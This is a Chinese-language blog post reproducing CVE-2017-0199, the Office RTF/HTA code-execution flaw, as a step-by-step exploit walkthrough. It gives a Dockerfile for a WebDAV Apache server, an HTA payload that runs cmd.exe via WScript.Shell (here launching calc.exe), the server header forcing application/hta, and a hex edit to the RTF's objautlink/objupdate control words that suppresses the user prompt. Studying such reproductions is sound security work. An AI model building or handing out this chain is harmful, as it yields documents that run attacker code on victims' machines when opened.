CVE-2017-0199漏洞复现 2017-04-20

CVE-2017-0199是首个Microsoft Office RTF漏洞,漏洞发布日期为2017年4月11日。受影响系统包括:

当用户打开包含嵌入式漏洞的文档时,此漏洞允许恶意攻击者下载并执行包含PowerShell命令的Visual Basic脚本。

微软官方对该漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

漏洞复现

首先我们需要一个apache服务器、一个POC、一个Word。

apache

apache需要开启DAV支持,为了方便。

这里我使用了docker来搭建,写了如下Dockerfile:

FROM ubuntu:14.04
MAINTAINER 王松_Striker 


​ RUN sed -i ‘s/archive.ubuntu.com/mirrors.ustc.edu.cn/g’ /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y apache2

RUN a2enmod dav \
    &&    a2enmod dav_fs    \
    &&    a2enmod dav_lock    \
    &&    a2enmod headers

RUN service apache2 restart

EXPOSE 80

COPY start.sh /start.sh
RUN chmod +x start.sh

CMD ["/start.sh"]

其中start.sh的内容为:

#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log

然后构建该镜像:

docker build -t cve-2017-0199 .

运行容器:

docker run -d -p 8881:80 cve-2017-0199

本地打开,如果出现如下页面表示搭建成功:

3718947873

POC

a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();

Word

新建一个Word,名为:test.docx

内容任意,我这里使用Hi, Striker

57534556

复现过程

首先在apache目录下建立test目录,我们需要进入docker容器中并返回一个交互shell,方便后续操作:

docker exec -it 容器ID /bin/bash

然后在交互shell中执行:

mkdir /var/www/html/test/

然后我们把test.docx复制到test目录下:

新建一个shell窗口执行:

docker cp `pwd`/test.docx 容器ID:/var/www/html/test/

然后在把test.docx命名为test.rtf:

cd /var/www/html/test/
mv test.docx test.rtf

然后新建一个word就叫mypoc.docx吧。

分别点击插入 -> 对象 -> 由文件创建 -> 链接到文件,然后输入rtf的网址。

3460757953

然后把mypoc.docx另存为exp.rtf

现在我们可以删掉apache上的test.rtf,然后写入POC或直接替换掉test.rtf:

echo "
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
" > test.rtf

此时我们需要修改apache的配置:

vi /etc/apache2/apache2.conf

需要添加的内容如下:

<Directory />  
Dav on  
</Directory>  
<Directory /var/www/html/test/>  
Header set Content-Type "application/hta"  
</Directory>

效果如图:

1375449329

然后重启服务器:

service apache2 restart

此时打开我们的exp.rtf

3795183999

点击“是”,将会弹出计算器:

3914045734

当然这个提示也是可以取消掉的。

我们用winhex打开exp.rtf\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict

824244347

文章首发于Web安全与前端公众号,欢迎关注.